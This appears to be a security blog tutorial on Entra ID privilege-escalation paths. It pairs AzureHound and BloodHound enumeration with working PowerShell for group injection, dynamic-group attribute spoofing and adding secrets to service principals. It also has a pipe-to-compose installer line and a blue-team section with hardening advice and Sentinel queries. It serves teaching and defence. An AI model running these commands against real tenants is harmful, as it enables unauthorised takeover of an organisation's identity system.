Azure & Entra ID Attack Paths: Hunting Privilege Escalation with AzureHound

Cloud Security
Time it takes to read this article 6 minutes.

Legal & Ethical Disclaimer
This article is for educational purposes and authorized security testing only. Every technique below must be performed exclusively against tenants you own or for which you hold explicit written authorization. Unauthorized access to cloud identity systems violates the Computer Fraud and Abuse Act and equivalent laws worldwide. Do not run these tools against tenants you do not control.

Introduction / Overview

Microsoft Entra ID (formerly Azure AD) is the identity control plane for the majority of enterprise estates. Unlike on-premises Active Directory, where most attack paths terminate in a Domain Admin DACL chain, Entra ID privilege escalation runs across two distinct planes: the Entra ID directory plane (directory roles, applications, groups) and the Azure Resource Manager (ARM) plane (subscriptions, resource RBAC). A low-privileged user object, a misconfigured dynamic group rule, or an over-permissioned OAuth application can all become a stepping stone to Global Administrator.

This post walks through four realistic advanced attack paths and how to surface them with AzureHound, the BloodHound collector for Azure. We then give the Blue Team equal attention with concrete detections and hardening.

How It Works / Background

Entra ID privilege is granted through several primitives that an attacker chains together:

  • Directory role assignments — e.g. Privileged Role Administrator, Application Administrator, Cloud Application Administrator. Some are "tier-zero" because they grant a path to Global Administrator.
  • Role-assignable groups — groups with isAssignableToRole = true can hold directory roles. Membership in one inherits the role.
  • Dynamic membership groups — membership is computed from a rule over user attributes (e.g. user.department -eq "IT"). If a low-priv user can edit their own attributes and the rule references those attributes, they can inject themselves.
  • Application & Service Principal permissionsApplication.ReadWrite.All, RoleManagement.ReadWrite.Directory, or the ability to add credentials to a high-privileged service principal.
  • OAuth consent grants — delegated or application permissions granted to an app, sometimes via illicit consent (MITRE ATT&CK T1528 / T1098.003).

AzureHound queries the Microsoft Graph and ARM REST APIs, then emits JSON that BloodHound ingests to compute attack paths with Cypher.

Prerequisites / Lab Setup

You need a test tenant (the free Microsoft 365 Developer tenant works) and a low-privileged user credential. Tooling:

  • AzureHound (the Go collector, github.com/bloodhoundad/azurehound)
  • BloodHound Community Edition (Docker)
  • az CLI and the Microsoft.Graph PowerShell module
# AzureHound collector (download the release binary or build)
git clone https://github.com/BloodHoundAD/AzureHound.git
cd AzureHound && go build .

# BloodHound CE via Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up -d
Bash

Authenticate AzureHound with the low-priv principal and run a full collection:

# Username/password (lab) — prefer --refresh-token or device code in real engagements
./azurehound -u "lowpriv@contoso.onmicrosoft.com" -p 'P@ssw0rd!' \
  list --tenant "contoso.onmicrosoft.com" -o azurehound-output.json

# Device-code auth (no plaintext creds)
./azurehound -j "<refresh-token>" list --tenant "<tenant-id>" -o output.json
Bash

Then drag azurehound-output.json into the BloodHound UI to ingest.

Walkthrough / PoC

Path 1 — Enumerate role assignments

Once data is in BloodHound, the fastest win is identifying directory role holders and pre-built escalation paths. Useful Cypher:

// All principals holding active Entra directory roles
MATCH p=(n)-[:AZHasRole]->(r:AZRole)
RETURN p

// Shortest paths from owned/low-priv principals to Global Admin
MATCH (u:AZUser {name:"LOWPRIV@CONTOSO.ONMICROSOFT.COM"})
MATCH (ga:AZRole {displayname:"Global Administrator"})
MATCH p=shortestPath((u)-[*1..]->(ga))
RETURN p
Cypher

Cross-check with az and Graph PowerShell to confirm live assignments:

# Azure RBAC role assignments on a subscription (ARM plane)
az role assignment list --all --output table

# Entra directory role members (directory plane)
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/directoryRoles?\$expand=members"
Bash

Path 2 — Abuse a role-assignable group

If your principal has microsoft.directory/groups/members/update over a role-assignable group that holds, say, User Administrator, you can add yourself and inherit the role:

Connect-MgGraph -Scopes "GroupMember.ReadWrite.All"
# Confirm the group is role-assignable and what role it holds
Get-MgGroup -GroupId $gid | Select-Object DisplayName, IsAssignableToRole

# Add the controlled user as a member -> inherits the directory role
New-MgGroupMember -GroupId $gid -DirectoryObjectId $myUserId
PowerShell

Path 3 — Dynamic group injection

This is the subtle one. A dynamic group computes membership from a rule such as user.otherMails -any (_ -contains "@partner.com") or user.department -eq "Finance". If that group holds a role and the user can self-edit the referenced attribute, the user can force themselves into the group. Some attributes (like otherMails, mobilePhone, or via SSPR self-service) are user-writable.

# Inspect the membership rule of a dynamic group
Get-MgGroup -GroupId $gid | Select-Object DisplayName, MembershipRule, GroupTypes

# If the rule is: user.otherMails -any (_ -eq "vip@contoso.com")
# and we can write our own otherMails, we satisfy it:
Update-MgUser -UserId $myUserId -OtherMails @("vip@contoso.com")
# Entra recalculates membership; the user is now in the group.
PowerShell

Path 4 — OAuth consent grant / service principal abuse

With Application Administrator or Cloud Application Administrator, an attacker can add credentials to an existing high-privilege service principal, then authenticate as that SP. Alternatively, an illicit consent grant assigns dangerous app permissions:

# Add a new client secret to a high-priv app registration we control
$pwd = Add-MgApplicationPassword -ApplicationId $appObjectId
Write-Host $pwd.SecretText

# Grant an app the RoleManagement.ReadWrite.Directory app permission (oauth2/appRoleAssignment)
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $spId `
  -PrincipalId $spId -ResourceId $graphSpId -AppRoleId $roleMgmtAppRoleId
PowerShell

RoleManagement.ReadWrite.Directory lets the service principal grant itself any directory role — effectively Global Admin. Authenticate as the SP with its new secret and you control the tenant.

Mermaid Diagram

Azure & Entra ID Attack Paths: Hunting Privilege Escalation with AzureHound diagram 1

The diagram shows how a single low-privileged user reaches Global Administrator through whichever of the four primitives AzureHound surfaces as reachable.

Detection & Defense (Blue Team)

Defense must cover both planes and every primitive abused above.

Harden role assignments.

  • Enforce Privileged Identity Management (PIM): make tier-zero roles (Global Admin, Privileged Role Admin, Application Admin) eligible-only with approval and MFA, not permanently active.
  • Limit Global Administrator holders to fewer than five break-glass-aware accounts and review monthly.

Harden groups.

  • Audit role-assignable groups (isAssignableToRole = true) and restrict who has members/update.
  • Never base dynamic membership rules on user-writable attributes (otherMails, mobilePhone, department if delegated). Prefer attributes set only by authoritative HR sync. This directly closes Path 3.

Harden consent.

  • Disable user consent: set user consent for applications to Do not allow, and route requests through the admin consent workflow.
  • Audit existing grants regularly:
# Review all OAuth2 delegated permission grants
Get-MgOauth2PermissionGrant -All |
  Select-Object ClientId, ConsentType, Scope

# Review app role (application permission) assignments on Graph SP
Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $graphSpId
PowerShell

Detect.

  • Stream Entra ID audit logs and sign-in logs to Microsoft Sentinel. Alert on:
    • Add member to role / Add member to group for privileged groups.
    • Add service principal credentials / Update application – Certificates and secrets.
    • Consent to application events (maps to MITRE T1528).
// Sentinel: secrets/certs added to applications or service principals
AuditLogs
| where OperationName in ("Add service principal credentials",
                          "Update application – Certificates and secrets management")
| project TimeGenerated, InitiatedBy, TargetResources, OperationName
Kusto
  • Deploy Microsoft Defender for Cloud Apps anomaly policies for OAuth apps, and review the Risky OAuth apps dashboard. AzureHound traffic itself appears as bursty Graph enumeration from a single principal — a useful UEBA signal.

Conclusion

Entra ID privilege escalation is a graph problem spanning the directory and ARM planes. AzureHound plus BloodHound turns that graph into concrete shortest-path chains, and the four primitives here — role assignments, role-assignable groups, dynamic group injection, and OAuth consent grants — are the highest-yield paths in real tenants. The same graph view is your best defensive tool: enumerate your own paths, enforce PIM, lock down consent, and never trust user-writable attributes in dynamic rules.

For related reading, see our notes on BloodHound for on-prem AD, OAuth device-code phishing, and Azure managed identity abuse.

References

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL